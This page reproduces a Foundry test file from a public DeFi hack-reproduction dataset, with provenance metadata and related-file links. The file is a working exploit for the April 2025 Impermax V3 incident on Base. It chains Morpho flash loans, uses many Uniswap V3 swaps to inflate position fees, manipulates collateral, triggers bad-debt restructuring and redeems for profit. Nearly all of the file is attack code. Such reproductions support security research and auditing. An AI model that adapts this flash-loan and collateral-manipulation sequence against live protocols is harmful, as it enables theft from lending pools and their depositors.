Public reproduction file
src/test/2025-04/ImpermaxV3_exp.sol
Public reproduction file for dataset entry ImpermaxV3.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.13;4import "forge-std/Test.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : ~300k8// 26th April, 2025, at 10:43 UTC9// Attacker : https://basescan.org/address/0xe3223f7e3343c2c8079f261d59ee1e513086c7c310// Attack Contract : https://basescan.org/address/0x98e938899902217465f17cf0b76d12b3dca8ce1b11// Vulnerable Contract : https://basescan.org/address/0x5d93f216f17c225a8b5ffa34e74b7133436281ee12// Attack Tx : https://basescan.org/tx/0xde903046b5cdf27a5391b771f41e645e9cc670b649f7b87b1524fc4076f4598313// block: 2943743915// @Info16// Vulnerable Contract Code : https://basescan.org/address/0x5d93f216f17c225a8b5ffa34e74b7133436281ee#code17// https://medium.com/@quillaudits/how-impermax-v3-lost-300k-in-a-flashloan-attack-35b02d0cf15219address constant ImpermaxV3Borrowable = 0x5d93f216f17c225a8B5fFA34e74B7133436281eE;20address constant Morpho = 0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb;21address constant WETH_address = 0x4200000000000000000000000000000000000006;22address constant USDC_address = 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913;23address constant ImpermaxV3Collateral = 0xc1D49fa32d150B31C4a5bf1Cbf23Cf7Ac99eaF7d;25address constant TokenizedUniswapV3Position = 0xa68F6075ae62eBD514d1600cb5035fa0E2210ef8;26address constant UniV3pool_200 = 0x1C450D7d1FD98A0b04E30deCFc83497b33A4F608;27address constant UniV3pool_500 = 0xd0b53D9277642d899DF5C87A3966A349A798F224;30contract ImpermaxV3_exp is Test {31 uint256 public borrowUSDC_amount = 22539727986604;32 uint256 public borrowWETH_amount = 10544813644832897955984;34 function setUp() public {35 vm.createSelectFork("base", 29437439 - 1);36 IFS(WETH_address).approve(Morpho, 10544813644832897955984);37 }39 function testExploit() public {40 IFS(Morpho).flashLoan(WETH_address, borrowWETH_amount, abi.encodePacked(uint256(1)));41 console2.log("WETH balance: ", IFS(WETH_address).balanceOf(address(this)));42 console2.log("USDC balance: ", IFS(USDC_address).balanceOf(address(this)));43 }45 bool private inFlashLoan;46 function onMorphoFlashLoan(uint256, bytes memory) external {47 if (!inFlashLoan) {48 // after borrowing WETH, we continue to borrow USDC.49 inFlashLoan = true;50 IFS(USDC_address).approve(Morpho, borrowUSDC_amount);51 IFS(Morpho).flashLoan(USDC_address, borrowUSDC_amount, abi.encodePacked(uint256(1)));52 }else{53 // following this USDC swap, the uniswapV3 will invoke uniswapV3SwapCallback to transfer USDC.54 uint160 falsesqrtPriceLimitX96 = 1461446703485210103287273052203988822378723970341;55 Uni_Pair_V3(UniV3pool_200).swap(56 address(this),57 false,58 1000000000,59 falsesqrtPriceLimitX96,60 abi.encodePacked(uint256(1))61 );63 IFS(UniV3pool_200).mint(TokenizedUniswapV3Position, -196216, -102028, 3315194000212825, abi.encodePacked(uint256(1)));64 uint256 newtoken_id = ITokenizedUniswapV3Position(TokenizedUniswapV3Position).mint(address(this), 200, -196216, -102028);65 ITokenizedUniswapV3Position(TokenizedUniswapV3Position).transferFrom(address(this), ImpermaxV3Collateral, newtoken_id);66 IimpermaxV3Collateral(ImpermaxV3Collateral).mint(address(this), newtoken_id);68 // start to swap to get fee from pool's transaction.69 uint160 truesqrtPriceLimitX96 = 4295128740;70 Uni_Pair_V3(UniV3pool_200).swap(71 address(this),72 true,73 -400000000000,74 truesqrtPriceLimitX96,75 abi.encodePacked(uint256(1))76 );77 Uni_Pair_V3(UniV3pool_200).swap(78 address(this),79 false,80 400080026003,81 falsesqrtPriceLimitX96,82 abi.encodePacked(uint256(1))83 );85 ITokenizedUniswapV3Position(TokenizedUniswapV3Position).reinvest(newtoken_id, address(this));87 // // go on to swap for 50 times88 int256 trueamountSpecified = -19400000000000;89 int256 falseamountSpecified = 19403880776155;90 for (uint256 i = 0; i < 100; i++) {91 Uni_Pair_V3(UniV3pool_200).swap(92 address(this),93 true,94 trueamountSpecified,95 truesqrtPriceLimitX96,96 abi.encodePacked(uint256(1))97 );98 Uni_Pair_V3(UniV3pool_200).swap(99 address(this),100 false,101 falseamountSpecified,102 falsesqrtPriceLimitX96,103 abi.encodePacked(uint256(1))104 );105 }107 // one more time swap for 100000.108 Uni_Pair_V3(UniV3pool_200).swap(109 address(this),110 false,111 100000,112 falsesqrtPriceLimitX96,113 abi.encodePacked(uint256(1))114 );116 uint256 safetyMarginSqrt = 1183215960000000000;117 ITokenizedUniswapV3Position(TokenizedUniswapV3Position).getPositionData(newtoken_id, safetyMarginSqrt);119 uint256 wad = 166988030575033714385;120 IFS(WETH_address).transfer(ImpermaxV3Borrowable, wad);122 IFS(ImpermaxV3Borrowable).mint(address(this));123 uint256 borrowAmount = IFS(WETH_address).balanceOf(ImpermaxV3Borrowable);124 IFS(ImpermaxV3Borrowable).borrow(255, address(this), borrowAmount, "");126 // line 2439127 ITokenizedUniswapV3Position(TokenizedUniswapV3Position).reinvest(newtoken_id, address(this));128 IimpermaxV3Collateral(ImpermaxV3Collateral).restructureBadDebt(255);129 uint256 currentBorrowBalance = IFS(ImpermaxV3Borrowable).currentBorrowBalance(newtoken_id);131 IFS(WETH_address).transfer(ImpermaxV3Borrowable, currentBorrowBalance);132 IFS(ImpermaxV3Borrowable).borrow(newtoken_id, address(this), 0, "");133 IimpermaxV3Collateral(ImpermaxV3Collateral).redeem(address(this), newtoken_id, 1000000000000000000);134 ITokenizedUniswapV3Position(TokenizedUniswapV3Position).redeem(address(this), newtoken_id);136 // line 2553137 Uni_Pair_V3(UniV3pool_200).swap(138 address(this),139 true,140 14260200223938238,141 truesqrtPriceLimitX96,142 abi.encodePacked(uint256(1))143 );145 // uint256 _exchangeRate = IFS(ImpermaxV3Borrowable).exchangeRate();146 uint256 temp_amount = 120924566533707506470;147 IFS(ImpermaxV3Borrowable).transfer(ImpermaxV3Borrowable, temp_amount);148 uint256 redeemAmount = IFS(ImpermaxV3Borrowable).redeem(address(this));149 console2.log("redeemAmount: ", redeemAmount);150 // line 2581151 Uni_Pair_V3(UniV3pool_500).swap(152 address(this),153 true,154 -19760825,155 truesqrtPriceLimitX96,156 abi.encodePacked(uint256(1))157 );158 console2.log("Current USDC balance: ", IFS(USDC_address).balanceOf(address(this)));159 }160 }162 function onERC721Received(163 address,164 address,165 uint256,166 bytes memory167 ) external returns (bytes4) {168 return this.onERC721Received.selector;169 }170 function uniswapV3SwapCallback(171 int256 amount0Delta,172 int256 amount1Delta,173 bytes calldata174 ) external {175 require(176 msg.sender == UniV3pool_200 || msg.sender == UniV3pool_500,177 "Invalid pool caller"178 );180 if (amount0Delta > 0) {181 IFS(WETH_address).transfer(msg.sender, uint256(amount0Delta));182 } else {183 IFS(USDC_address).transfer(msg.sender, uint256(amount1Delta));184 }185 }187 function uniswapV3MintCallback(188 uint256 amount0,189 uint256 amount1,190 bytes calldata191 ) external {192 IFS(WETH_address).transfer(UniV3pool_200, amount0);193 IFS(USDC_address).transfer(UniV3pool_200, amount1);194 }195}197interface IFS is IERC20 {198 // function in Morpho199 function flashLoan(200 address token, 201 uint256 assets,202 bytes calldata data203 ) external;205 // function in 0x1c45_UniswapV3Pool206 function mint(207 address recipient,208 int24 tickLower,209 int24 tickUpper,210 uint128 amount,211 bytes calldata data212 ) external returns (uint256 amount0, uint256 amount1);215 // function in ImpermaxV3Borrowable216 function totalBorrows() external view returns (uint);217 function debtCeiling() external view returns (uint256);218 function mint(address minter) external returns (uint mintTokens);219 function borrow(uint256 tokenId, address receiver, uint borrowAmount, bytes calldata data) external;220 function currentBorrowBalance(uint tokenId) external returns (uint);221 function exchangeRate() external returns (uint);222 function redeem(address redeemer) external returns (uint redeemAmount);223}225interface IimpermaxV3Collateral {226 // function in ImpermaxV3Collateral227 function restructureBadDebt(uint tokenId) external;228 function redeem(address to, uint256 tokenId, uint256 percentage) external returns (uint redeemTokenId);229 function mint(address to, uint256 tokenId) external;230}232interface INFTLP {233 struct RealXY {234 uint256 realX;235 uint256 realY;236 }238 struct RealXYs {239 RealXY lowestPrice;240 RealXY currentPrice;241 RealXY highestPrice;242 }243}245interface ITokenizedUniswapV3Position {246 function getPool(uint24 fee) external view returns (address pool);247 function mint(address to, uint24 fee, int24 tickLower, int24 tickUpper) external returns (uint256 newTokenId);248 function reinvest(uint256 tokenId, address bountyTo) external returns (uint256 bounty0, uint256 bounty1);249 function ownerOf(uint256 _tokenId) external view returns (address);250 function getApproved(uint256 tokenId) external view returns (address operator);251 function isApprovedForAll(address owner, address operator) external view returns (bool);252 function transferFrom(address from, address to, uint256 tokenId) external;253 function getPositionData(uint256 _tokenId, uint256 _safetyMarginSqrt) external returns (254 uint256 priceSqrtX96,255 INFTLP.RealXYs memory realXYs256 );257 function redeem(address to, uint256 tokenId) external returns (uint256 amount0, uint256 amount1);258}Analysis
Dataset entry
Public Foundry test for “ImpermaxV3” (2025-04-26). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
14 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-04/AIRWA_exp.solSame month in the dataset · 105 lines
- src/test/2025-04/AmpKashi_exp.solSame month in the dataset · 267 lines
- src/test/2025-04/AventaRewardClaim_exp.solSame month in the dataset · 136 lines
- src/test/2025-04/bitdog_exp.solSame month in the dataset · 161 lines
- src/test/2025-04/BTNFT_exp.solSame month in the dataset · 77 lines
- src/test/2025-04/flylong_exp.solSame month in the dataset · 135 lines
- src/test/2025-04/Laundromat_exp.solSame month in the dataset · 101 lines
- src/test/2025-04/Lifeprotocol_exp.solSame month in the dataset · 71 lines
- src/test/2025-04/multitransferswap_exp.solSame month in the dataset · 190 lines
- src/test/2025-04/Roar_exp.solSame month in the dataset · 84 lines
- src/test/2025-04/tcdp_exp.solSame month in the dataset · 148 lines
- src/test/2025-04/Unverified_6077_exp.solSame month in the dataset · 99 lines
- src/test/2025-04/YBToken_exp.solSame month in the dataset · 132 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xe3223f7e3343c2c8079f261d59ee1e513086c7c3
- Attack Contract
0x98e938899902217465f17cf0b76d12b3dca8ce1b
- Vulnerable Contract
0x5d93f216f17c225a8b5ffa34e74b7133436281ee
- Attack Tx
0xde903046b5cdf27a5391b771f41e645e9cc670b649f7b87b1524fc4076f45983
- Explorer: https://basescan.org/address/0xe3223f7e3343c2c8079f261d59ee1e513086c7c3
- Explorer: https://basescan.org/address/0x98e938899902217465f17cf0b76d12b3dca8ce1b
- Explorer: https://basescan.org/address/0x5d93f216f17c225a8b5ffa34e74b7133436281ee
- Explorer: https://basescan.org/address/0x5d93f216f17c225a8b5ffa34e74b7133436281ee#code
File record
- Name
- ImpermaxV3
- Path
- src/test/2025-04/ImpermaxV3_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 6662b72ec92ad2a3d70f44a6111d5ea0c9322e71
- Language
- Solidity
- Size
- 259 lines
- Date
- 2025-04-26
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-04/ImpermaxV3_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 6662b72ec92ad2a3d70f44a6111d5ea0c9322e71, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.